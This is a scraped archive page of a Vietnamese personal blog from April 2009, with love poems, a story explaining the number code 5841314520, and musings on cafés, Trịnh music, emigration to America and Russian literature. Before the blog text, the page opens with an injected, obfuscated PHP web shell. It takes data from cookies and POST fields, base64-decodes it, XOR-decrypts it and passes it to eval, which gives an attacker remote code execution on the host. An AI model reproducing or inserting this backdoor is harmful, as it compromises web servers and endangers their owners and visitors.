$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> April 2009 – Page 2 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Month: April 2009 (page 2 of 3)

Một chút thẫn thờ, một chút em…

Lonely

Rồi cô ấy, ngày nào đó sẽ quên tôi
Kỉ niệm về tôi sẽ chỉ như hạt bụi
Thổi nhẹ nhàng rồi tàn lụi…
giữa hư vô

Rồi một ngày, trong những câu chuyện của cô
Khi chiều tàn, ngồi quây quần bên đám bạn
Sẽ là về một gã trai nào với lời tỏ tình lãng mạn
Một cuộc tình mới…
kể từ tôi

“Kể từ tôi”,
dù thời gian có trôi
Tôi lớn khôn hơn, giỏi giang và tài ba hơn, ừ có thể
Chỉ có một điều tôi biết là không thể
Quên đi ba từ “kể từ tôi”

Kể từ tôi…
là mãi mất đi một làn môi
Của một thời,
Hoa đỏ
Kể từ tôi…

B.l.u.e.

5841314520

Hôm nay anh surf web để tìm tư liệu lừa tình gái teen, tình cờ đọc lại được bài dưới đây…

Trong nick YM cũ của mình, anh có tạo group là 5841314520, trong group đó có tên anh và cô ấy.

Nick YM mới này của anh, cũng có group như thế, nhưng trong đó chỉ có một nick, luôn sáng: nick của anh.

Chỉ là một chuyện vẩn vơ, nhưng mà dính xíu tới cái gọi là “kỉ niệm” thôi, thì lại thấy bồi hồi như thế này. Già rồi nên yếu đuối quá đi.

Cũng không biết trong YM của cô ấy, tên nick của anh, giờ đang nằm ở group nào…

Mà thật ra, anh hỏi câu như trên làm gì nhỉ? Khi anh biết trong tim của người ta đã không còn hình ảnh của anh, thì vấn đề trên, đối với anh, là vô nghĩa.

À, đây là bài viết, anh tìm được trên mạng

Tin nhắn “5841314520”

“Anh nhắn cho em một tin nhắn, trong đó chỉ vỏn vẹn một dãy số 5841314520. Em thắc mắc ko hiểu anh muốn nhắn nhủ gì. Câu truyện này sẽ thay cho lời giải thích…”

Mùa đông năm đó, có một người tìm tới một trường mỹ thuật ở Thượng Hải để tham gia một khoá bồi dưỡng về kỹ thuật làm tranh sơn dầu. Đi tìm sự lãng mạn ở một thành phố lãng mạn – dó chính là động lực thôi thúc tôi đến Thượng Hải.

Để có thêm tiền chi phí cho cuộc sống và học tập, tôi tìm được việc làm thêm ở một công ty kinh doanh dịch vụ internet. Ban đầu thì chỉ làm những việc lặt vặt, dần dần nhờ vào vốn kiến thức sẵn có và trình độ của mình, tôi cũng trở thành một biên tập viên. Trước đây, tôi sống trong ký túc xá – một căn phòng vừa đông vừa chật. Sau khi có việc làm, có chút dư dả, thế là không đơi phải đuổi, tôi liền thuê một căn phòng ở rất xa trường, mỗi sáng ngủ dậy có thể hoan hỉ tự do hít thở không khí trong lành.

Thế nhưng, tự do bao giờ cũng có cái giá của nó, buổi tối mất ngủ vì công việc ở công ty, sáng dậy lại vội vàng đi học trên chuyến xe buýt đầu tiên. Mất ngủ nghiêm trọng đã làm cho tôi mất hẳn nét tươi tắn của tuổi thanh xuân. Dần dần, việc hoan hỉ sau mỗi sáng thức dậy được thay thế bằng việc ngủ gật trên xe buýt, cũng vì ngủ gật mà tôi thường xuyên bị đi quá bến. Tôi còn nhớ dạo đó ở lớp có một cô gái rất xinh, duyên dáng đến làm người mẫu vẽ, mỗi lần tôi đến muộn, mở cửa vào phòng, mang theo những luồng gió lạnh làm cho cô ta rét run lên. Nhìn ánh mắt giận dữ của cô ta, tôi cũng tự giận mình làm sao trên xe buýt lại có thể say đến như vậy.

Tôi cũng không nhớ từ bao giờ, cái ghế vẫn thường để trống cạnh chỗ tôi ngồi nay đã có một nam thanh niên ngồi vào đó, hình như anh ta lên sau tôi mấy bến, và ngày nào cũng đi chuyến đầu tiên. Cũng không biết từ bao giờ, anh ta trở thành người đảm nhận trách nhiệm đánh thức tôi. “Cô gái, tỉnh dậy đi, đến bến rồi đó”. Cứ như vậy, anh ta nhẹ nhàng thì thầm bên tai tôi, còn tôi thì toàn là trong mơ màng gà gật nên cũng quên mất là nhìn kỹ xem dung nhan anh ta ra sao.

Có một hôm, trước khi lên xe tôi mua một tờ “Tân dân buổi tối”, định là xem rồi đợi anh ta đến, trong trạng thái tỉnh táo sẽ nói lời cảm ơn anh ta. Thế nhưng cứ vừa cầm tờ báo định đọc là hai mắt tôi cứ muốn díp vào khong cưỡng lại được, thế là tôi lại ngủ. Lúc anh ta lên xe thì tờ báo đang che trên mặt tôi, tôi lơ mơ thấy anh ta nhẹ nhàng lấy tờ báo ra rồi khe khẽ giở xem. Bất giác một làn gió nhẹ thoảng qua, mùi mực in và tiếng sột soạt giở báo như bao trùm quanh tôi, trong trạng thái mơ màng, tôi có cảm giác vô cùng dễ chịu, tưởng như mình đã ngủ được mấy trăm năm vậy. Sắp tới bến, anh ta quen lệ cúi xuống khẽ gọi tôi tỉnh dậy, tôi mở mắt thấy anh ta đang nhìn tôi, rất gần, ánh mắt trong veo nhấp nháy như đang cười. Tự dưng trong đầu tôi chợt nhớ đến câu chuyện “Người đẹp ngủ”, nghĩ mình là nàng công chúa đang ngủ, còn anh ta…, thế là tôi đỏ bừng mặt tự mắng mình một câu: “Thần kinh!”, rồi cầm tờ báo xuống xe. Lúc ra đến cửa xe, bất giác tôi ngoái đầu lại, hay là mình nhầm? Trong đôi mắt đó dường như đang ẩn chứa một điều gì đó, nét thân thiện, tươi cười như toát ra một niềm hy vọng đang trào dâng.

Cuộc sống cứ bình yên trôi qua như vậy. Cho đến một hôm, công ty giao cho tôi chịu trách nhiệm biên tập phần văn học trên mạng. Tôi hăm hở tìm, tham khảo những bài viết của cộng tác viên gửi đến. Bất ngờ, tôi bị thu hút bởi một bài viết vừa thoáng xem qua có tên “Người đẹp ngủ của tôi”, một chút tò mò đã thôi thúc tôi đọc bài viết đó, từng chữ, từng chữ…

“Ngắm nhìn cô ấy hơn một giờ đồng hồ, đó là những giây phút hạnh phúc nhất trong ngày của tôi. Tôi nghĩ tôi đã yêu cô ấy… Hàng ngày chúng tôi đều gặp nhau trên xe buýt, mỗi ngày tôi đều được. Trên xe cô ấy luôn luôn ngủ, vì vậy tôi nghĩ cô ấy sẽ không nhớ dung mạo của tôi, còn tôi, trong những cơ hội gặp mặt đó tôi đều nhớ rõ hình dáng, từng cử chỉ của cô ấy. Ấn tượng của tôi về cô ấy vô cùng thanh khiết, trong trắng, trong trắng đến nỗi không thể diễn tả bằng ngôn ngữ, tôi chỉ có thể nói: trong lúc cô ấy ngủ, cô ấy là Người đẹp ngủ của tôi… Có một lần, trong lúc ngủ say, cô ấy đã dựa đầu vào vai tôi, những sợi tóc của cô ấy vương vào mặt tôi và tôi sẽ nhớ mãi cái cảm giác ngọt ngào ấy. Những câu chuyện như vậy giữa chúng tôi thì nhiều, nhưng tôi lai không dám nói với cô ấy một câu nào khác ngoài những câu gọi đánh thức cô ấy tỉnh dậy, sau đó cô ấy đi và tôi lại chờ đợi một cuộc gặp gỡ ngày hôm sau… Tôi không biết làm thế nào để được gần cô ấy hơn, bởi tôi sợ cô ấy sẽ coi thường tôi là một người nhạt nhẽo, mất lịch sự, nhưng tôi lại không có cách nào ngăn được mong muốn có được mối quan hệ tốt đẹp với cô ấy. Còn nhớ cô ấy đã từng đọc “Tân dân buổi tối”, lại nghe nói lần này sẽ tuyển chọn một số bài viết hay để đưa lên mạng và đăng trên “Tân dân buổi tối”, vì vậy với một chút hy vọng cô ấy có thể đọc được điều tôi muốn nói với cô ấy, như thế là đã có hy vọng, đã có lý do”. Khi đọc đến hai câu đó, tôi thật sự bị sốc bởi ngạc nhiên, dường như không thể tin được, tôi tự hỏi chính mình: Phải chăng là anh ta, là anh ta thật sao? Đây có phải là linh ứng chăng, anh ấy cũng nói tôi là Người đẹp ngủ của anh ấy. Thế nhưng câu cuối cùng chỉ vẻn vẹn có mấy chữ, anh ta kêu lên một cách hạnh phúc thì lại dập tắt niềm hạnh phúc vừa nhen nhóm trong tôi. Anh ta viết “Tình yêu trên xe buýt của tôi, 520”, mà tôi hàng ngày lại đi chuyến xe 47. 47 trừ 520 đáp số là một số âm, tại sao từ những tình tiết nhỏ lại đúng như thế, nhưng kết quả lại khác xa như vậy?

Khoá bồi dưỡng đã sắp kết thúc, tác phẩm tốt nghiệp của tôi là bức tranh “Người đẹp ngủ không muốn thức dậy”. Cô gái ngủ với nét buồn man mác không muốn tỉnh dậy, vĩnh viễn như vậy để trong giấc mơ có thể thấy được tất cả những gì đẹp đẽ nhất, không bao giờ mở mắt để không phải đối mặt với sự thất vọng. Tôi đã dùng bức tranh để minh hoạ cho bài viết đó đăng trên “Tân dân buổi tối”. Sau đó thu dọn đồ đạc, rời Thượng Hải, rời xa giấc mơ ảo tưởng.

Tôi cũng không nhớ sau đó bao lâu thì tôi quen bạn trai của tôi bây giờ, anh ấy là một người mạnh mẽ. Tôi cần ở anh đức tính dám làm, dám chịu và tôi cảm động bởi tình cảm chân thành, thẳng thắn ở anh.

Hôm đó là ngày lễ Tình yêu, anh nhắn vào máy nhắn tin của tôi một dãy số kỳ lạ: 5841314520. Đây không phải là số máy nhắn, cũng không phải là số di động, tôi nghĩ nửa ngày vẫn không hiểu những số đó có ý nghĩa gì bèn cầm đi hỏi đồng nghiệp trong công ty. Cuối cùng, cũng có một cô gái trẻ tìm ra đáp án: “ Đây là một câu nói lái rất hay mà: 584 là “anh xin thề”, 1314 là “suốt đời”, 520 là “anh yêu em”!.

520… 520… Tự dưng tôi có cảm giác những chữ số này rất quen, đã từng nhìn thấy ở đâu đó, ở đâu vậy nhỉ? Kí ức chợt hiện về và tất cả đã rõ ràng, chỉ có điều đã quá muộn.

Thực ra, có thể vẫn chưa muộn, trong trái tim của “Người đẹp ngủ” cuối cùng cũng có hy vọng, cuối cùng cô gái đó cũng thức dậy và chỉ cần cô ấy thức dậy, nhất định cô ấy sẽ không còn thấy thất vọng.

P/S : Cách nói lái của dãy số 5841314520 có nghĩa: Trong tiếng Hán cách phát âm của 584 (wu ba si)gần với cách phát âm của câu “anh xin thề” (wo fa shi). Tương tự như vậy 1314 (yi san yi si) phát âm giống “suốt đời” (yi sheng yi shi), 520 (wu er ling) phát âm gần giống câu “anh yêu em” (wo ai ni).

.

Believe

Con người rất ích kỉ, các bạn của anh à.

Khi các bạn vui, các bạn chia sẻ với tất cả mọi người. Thế mà, khi các bạn có nỗi buồn, các bạn giấu nó làm của riêng cho mình.

Anh đôi khi muốn bên cạnh các bạn, chạm vào nỗi buồn của các bạn, không phải để cười nhạo sự yếu đuối của các bạn, bởi hơn ai hết, anh cảm thấy mình còn yếu đuối hơn các bạn, mà là để cùng với các bạn thoát ra khỏi nó. Nhưng các bạn ẩn mình quá kĩ.

Các bạn có thể ngồi hàng giờ tâm sự nỗi buồn với những giọt beer mát lạnh, hay tiếng gầm gừ phát ra từ dàn loa trong cafe rock, để anh ngồi nhìn các bạn rơi vào trạng thái cuồng loạn đó, mà chẳng biết làm gì.

Khi các bạn cần bày tỏ, các bạn nói những lời buồn bã, khó hiểu với bọn cha căng chú kiết nào đó như twitter, facebook… để anh ngồi nhìn vào cố đoán điều gì đang làm các bạn buồn, mà chẳng đoán được gì.

Các bạn của anh à! Khi anh gọi các bạn bằng từ “bạn”, nghĩa là anh xem các bạn như “bạn”.

Anh chỉ nói thế thôi, các bạn của anh nhé!

Tặng các bạn bài Believe – Savatage.

Yêu các bạn nhiều,

B.l.u.e.

Cafe sách

Cafe

Anh viết những dòng này khi đang ở cafe sách.

Cafe sách dĩ nhiên là có sách, không những thế mà còn có rất nhiều, và có cafe, cafe không phải thuộc dạng ngon lắm, nhưng ở những nơi như thế này, đối với anh, nó không cần phải đặt lên làm ưu tiên hàng đầu.

Anh nói đùa với bạn Ánh Vân rằng, sẽ thích thú biết mấy nếu con người chả phải làm gì cả, chỉ hằng ngày ngồi uống cafe và đọc sách.

Anh viết những dòng này khi đang ở cafe sách.

Cafe sách ngoài cafe và sách thì còn có nhạc. Khi anh bắt đầu mở trang xanhduong lên và gõ, đó là bài Lời buồn thánh. Còn hiện tại, đang là Đêm thấy ta là thác đổ.

Ở Sài Gòn này có một quán cafe rất đặc biệt. Nhạc ở đó mở nhỏ đến mức không thể tin được, chỉ như những âm thanh rì rào theo cơn gió đưa nhẹ vào tai. Có dịp trò chuyện với người chủ quán, anh chỉ nghe ông ấy nói:

Nghe nhạc khác với thưởng thức nhạc, chú cứ tưởng tượng đột nhiên một câu nào đó, đột nhiên thôi nhé, bay vào tai chú. Dĩ nhiên, trong khoảng thời gian chú ngồi ở đây, sẽ có hàng hà vô số câu mà chú nghe được. Nhưng, sẽ có khoảng khắc, chú cảm nhận, câu đó, nốt đó như được phát ra là chỉ để cho chú nghe…

Tình cờ nghe “vì em đã mang lời khấn nhỏ, để tôi đứng bên đời kia…”, anh lại cảm thấy đúng.

Ồ, lại đổi sang một bài nhạc Trịnh khác nữa rồi.

Anh nghe nhạc Trịnh nhiều, nghe rất nhiều version, từ những bài hát mới thu âm, do các giọng ca mới hát, giọng hát nhẹ nhàng của Đức Tuấn, giọng cao vút của Bằng Kiều… cho đến những tên tuổi gạo cội như Khánh Ly hay Lệ Thu. Anh sưu tầm cả những bài nhạc thu trước năm 1975, những bài nhạc trên đĩa than, chất lượng thua xa các đĩa bây giờ, nghe rè rè nhưng rất thật.

Thế nhưng anh không yêu nhạc Trịnh lắm.

Anh thích nghe nhạc Trịnh, nhưng chỉ ở một vài khoảng khắc nào đó thôi. Đối với anh, nhạc Trịnh đến nhẹ nhàng như thế này là tuyệt vời nhất. Kiểu như tự dưng, những lời ca đó, những nốt nhạc đó và tâm trạng anh hoà vào nhau vậy.

Anh tới đây trong cơn mưa rỉ rả…

Anh ngồi đọc sách trong tiếng nhạc rỉ rả…

Anh ngồi bên li cafe và nhìn ra ngoài bầu trời, cảm nhận bầu trời sau cơn mưa thật tươi đẹp…

Còn lòng anh sau cơn mưa, anh chưa cảm nhận thấy…

Hôm nay anh cầm cuốn sách “Cô đơn trên mạng” lên, chợt se lòng khi nhận ra đó là cuốn sách cuối cùng anh tặng cô ấy.

Sách, cafe, Trịnh, kỉ niệm…

Thế là đã quá đủ cho một buổi chiều yên bình rồi nhỉ…

B.l.u.e.

Anh có thích nước Mỹ không?

Thực ra anh ứ thích những truyện lừa tình xuất xứ Tàu Khựa. Những truyện mà nghe cái tên sặc mùi dành cho btkk và gái teen đọc thế này thì lại càng không. Thế nên, đợt xuống nhà tình yêu DVD ở Bạc Liêu, anh thấy nó mà thậm chí chả buồn cầm lên đọc. Ờ, vậy mà con bé Cờ Lau nó ôm về. Và trong khi anh đang chán vì chả có gì đọc, nó tống anh cuốn này. Ờ, thì đọc. Người ta không chết vì đọc truyện lừa tình, phỏng ạ!

Anh còn nhớ khi anh đọc cuốn này, người cũ của anh hỏi: Anh đang làm gì thế?

Anh trả lời: Anh đang đọc cuốn “Anh có thích nước Mỹ không?”

Ngay lập tức, cô ấy trả lời ngay: Không!

Đợt dăm ba tuần về trước, khi anh và con bé Cờ Lau ngồi cạnh nhau nói chuyện, chợt hai đứa phát hiện ra 1 sự việc khá ngẫu nhiên: Hầu như tất cả bọn anh, đều có ý định qua Mỹ để học tiếp.

Khi ấy con bé ấy hỏi, như Trịnh Vy – nhân vật chính trong truyện thắc mắc:

Tại sao ai cũng thích nước Mỹ?

Thằng nào sống 22 năm trên cùng một vùng đất mà chả yêu vùng đất đó, các bạn của anh ạ. Kiểu như hải đăng Chế Lan Viên đã từng làm thơ:

Khi ta ở chỉ là nơi đất ở
Khi ta đi đất đã hoá tâm hồn

Anh rất yêu đất nước này.

Năm anh mới hết lớp 5, nhà anh chuyển từ Vũng Tàu lên Sài Gòn. Khi đó đêm đầu tiên ở tại căn nhà mới, anh đã khóc vì nhớ khung cảnh ở quên anh, nhớ những cây tràm, hàng dâm bụt trước nhà, nhớ con đường mà ngày ngày anh đi bộ đến trường, nhớ cả ngôi trường xiêu vẹo.

Nếu anh đi tới đất nước khác, anh chắc anh sẽ không khóc. Để tới lúc đó anh sẽ kể cho các bạn nghe tâm trạng anh là buồn hay vui nhé!

Thế nhưng anh vẫn cứ thích đi.

Có thể chừng năm năm, mười năm, hay hai ba chục năm nữa, anh sẽ cảm giác vùng đất mới đó là một phần của mình. Hoặc giả có thể, khi anh đã qua rồi cái thời trai trẻ đầy sôi nổi, khi hướng nhìn của anh không còn về phía trước nữa, mà là nhìn về quá khứ, anh sẽ lại ôm cây đàn guitar, nhìn về hướng quê hương anh mà hát khe khẽ: Mama, I’m coming home.

Ai mà biết được. Nhỉ?

Chỉ biết hiện tại thì anh thích đi.

Anh thích đi tới một quốc gia khác, một chân trời khác, mở rộng tầm nhìn, làm quen với cuộc sống mới. Anh muốn bắt đầu sự thử thách mới. Anh muốn cái cảm giác chinh phục ấy.

Đó là lí do tại sao anh mất người anh yêu nhất.

Đã đến nước này, Trịnh Vi, chỉ mong có một chút tự tôn, phủi tay mà bỏ đi, không giữ được tình yêu, ít nhất phải giữ được lòng tự trọng.

Nhưng giây phút này đây Trịnh Vi tự nói với mình, nếu ta không cứu vãn được tình yêu của ta, lòng tự trọng có thể khiến ta không đau khổ ư?

Vì thế giây phút cuối cùng, cô đã gạt hết nước mắt và mọi nói phẫn nộ: “Anh Chính, anh đợi em, em về nói với bố mẹ em, sau đó em sẽ thi Toefl để đi cùng anh, nếu không được, em vẫn có thể đợi.”

Anh nhìn cô, nói: “Đừng, em đừng đợi, vì chưa chắc anh đã đợi.”…”

Cô ấy có sự lựa chọn của cô ấy. Anh có sự lựa chọn của anh. Chỉ bởi vì trước giờ anh luôn muốn mình không thua kém người khác, muốn mình phải thật giỏi và thành đạt.

Lạ lắm các bạn à. Con gái ai cũng thích người yêu mình có chí tiến thủ, biết vươn lên, nhưng khi chọn, họ không chọn người như thế.

Quay lại chuyện chính, vấn đề ở đây, theo anh nghĩ không phải là “Anh có thích nước Mỹ không?

mà là

Anh chọn tương lai hay chọn em?

Cả anh và em đều đã chọn…

B.l.u.e
.

Tiếu Ngạo Giang Hồ

Tiếu Ngạo Giang Hồ

Lệnh Hồ Xung đáp:
– Ðến tối tại hạ ngửng đầu trông trời thấy thiếu một vì sao nào, liền biết ngay cô là vì sao đó giáng hạ phàm trần. Cô nương giống một vị thiên tiên như đúc. Dưới trần gian làm gì có nhân vật thế này?

Đây là truyện kiếm hiệp anh đọc đầu tiên.

Nhậm Doanh Doanh là nhân vật nữ mà anh yêu thích nhất trong tất cả các bộ kiếm hiệp nói riêng và tiểu thuyết nói chung.

Ngày đó anh từng bảo yêu ai sẽ nhất định nói câu này cho cô ấy nghe. Tiếc là giờ đây anh đã trải qua hai cuộc tình rồi mà vẫn cứ quên…

Anh thích giống Lệnh Hồ Xung ấy. Anh thích làm mọi thứ theo ý mình. Anh thích sống thật với cảm xúc của mình, yêu ra yêu, hận ra hận. Sống không bao giờ cần che giấu cảm xúc…

…nhưng ai là Doanh Doanh của anh, hiểu anh và chấp nhận anh dù bất kể anh như thế nào?

Khúc “Tiếu Ngạo Giang Hồ” ấy, chỉ mãi là… trong mơ.

B.l.u.e
.

Dubrovsky (Дубровский) – Pushkin

Dubrovsky

Bạn thân của em, một cô bé có tâm hồn rất nhạy cảm, người mà trong giai đoạn này nói chuyện với tôi nhiều hơn bất cứ người nào, giới thiệu cuốn này cho tôi.

Thật ra tôi thích văn học Nga. Trong suy nghĩ [mà theo bạn Cờ Lau là hoàn toàn không có đúng với cái gọi là phân tích văn học đích thực, hay cái thuật ngữ chuyên môn nào tương tự thế, mà chuyên ngành của bạn ấy tập trung vào] của tôi, văn học Nga và văn học Pháp là đỉnh nhất. Lí do tại sao thì có thể vào một lúc nào đó, có dịp ngồi trước li cà phê nghi ngút khói, trong ánh nến hay ánh điện mờ mờ, chỉ đủ làm phông nền để bừng lên khuôn mặt người đối diện, thì tôi sẽ kể cho bạn biết.

Văn học Nga hay lắm ấy nhé. Tôi đọc thơ Nga không nhiều, chủ yếu đọc trên mạng nơi này, nơi kia một ít. Nhưng những câu đọc được, đa phần là nhớ luôn. Mỗi khi đọc thơ Nga, tôi luôn có cảm giác mình chạm được một phần vào cái nỗi buồn man mác thể hiện qua những ngôn từ trau chuốt của tác giả – một nỗi buồn như cảnh hàng cây bạch dương đứng run rẩy giữa một trời đầy tuyết.

Tuy nhiên, truyện và tiểu thuyết Nga tôi đọc không nhiều. Tính tới giờ, nếu không kể những truyện ngắn tình cờ đọc được trong tuyển tập này nọ, thì tôi mới chỉ đọc qua Thép đã tôi thế đấySông Đông êm đềm.

Văn học Nga khá khó nuốt, hay các tác phẩm tôi đọc là như thế. Có thể do những tác phẩm nổi tiếng ấy có bối cảnh là một nước Liên Xô xã hội chủ nghĩa, nếu xưa hơn nữa thì là một Liên Xô phong kiến, với các lãnh chúa, các chủ nô… rất xa lạ so với lứa trẻ lớn lên trong một thành phố, một thời đại hiện tại như tôi.

Vì thế, khi nghe cô bạn thân của em giới thiệu về Dubrovsky, biết là Pushkin viết, thì đột nhiên hứng thú giảm đi một nửa. Chả phải tôi chê bai gì Pushkin. Ông là một trong những nhà thơ tôi thích nhất trong nền văn học Nga (cùng Olga Bergon và Esenin). Chỉ là tôi nghĩ tâm trạng của tôi thời điểm này không thích hợp đọc các truyện của Nga.

Tuy nhiên, một cô bé tinh tế như em giới thiệu, ắt có mục đích.

Giữa tiếng mưa đang rì rào đập vào cửa kính, bên hộp sữa cô gái Hà Lan, cùng với cái headphone chụp vào tai đang rỉ rả các bài hát nổi tiếng của đất nước Nga anh hùng (mà phổ biến ở Việt Nam) như Kachiusa, Đôi bờ, Tình ca du mục, Triệu đoá hoa hồng…, tôi ngấu nghiến đọc Dubrovsky.

Truyện bình thường. Nhưng rất thấm.

Người ta mất nhau đơn giản lắm các bạn của tôi ơi.

Một phút lỡ nhịp…

Một chuỗi những sự kiện tiếp nối nhau, mà cái sau là hệ quả của cái trước…

Cả vì sự cố chấp của con người nữa…

Cô bé có hỏi tôi, tại sao cố gắng đến mức như thế rồi vẫn không được hả anh?

Lúc đó, tôi xài cái icon hai chấm đê mà lòng nhói lên. Nội con người tại sao lại được sinh ra đã là điều huyền hoặc lắm rồi, việc chi lại phải đi tìm câu trả lời cho những điều huyền hoặc khác làm chi?

Tôi chỉ biết nói với em, và cả với tôi một câu: Everything will be ok 🙂

B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.